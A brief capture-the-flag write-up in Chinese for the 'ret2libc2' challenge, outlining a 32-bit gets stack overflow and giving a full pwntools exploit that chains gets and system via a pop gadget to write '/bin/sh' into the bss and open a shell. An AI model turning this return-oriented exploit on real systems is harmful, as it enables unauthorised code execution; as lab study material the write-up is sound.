1.checksec保护机制
NX保护
32位程序
2.拖进ida
gets函数栈溢出
plt段有gets函数,所以可以返回到gets函数
3.找gets和system地址
向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell
4.找buf2和ropgadgets
5.计算偏移
6.exp
from pwn import*
p=process('./ret2libc2')
gets_plt=0x8048460
system_plt=0x8048490
pop_ebx=0x0804843d
buf2=0x804a080
payload=flat([b'a'*112,gets_plt,pop_ebx,buf2,system_plt,0xdeadbeef,buf2])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
最后cat flag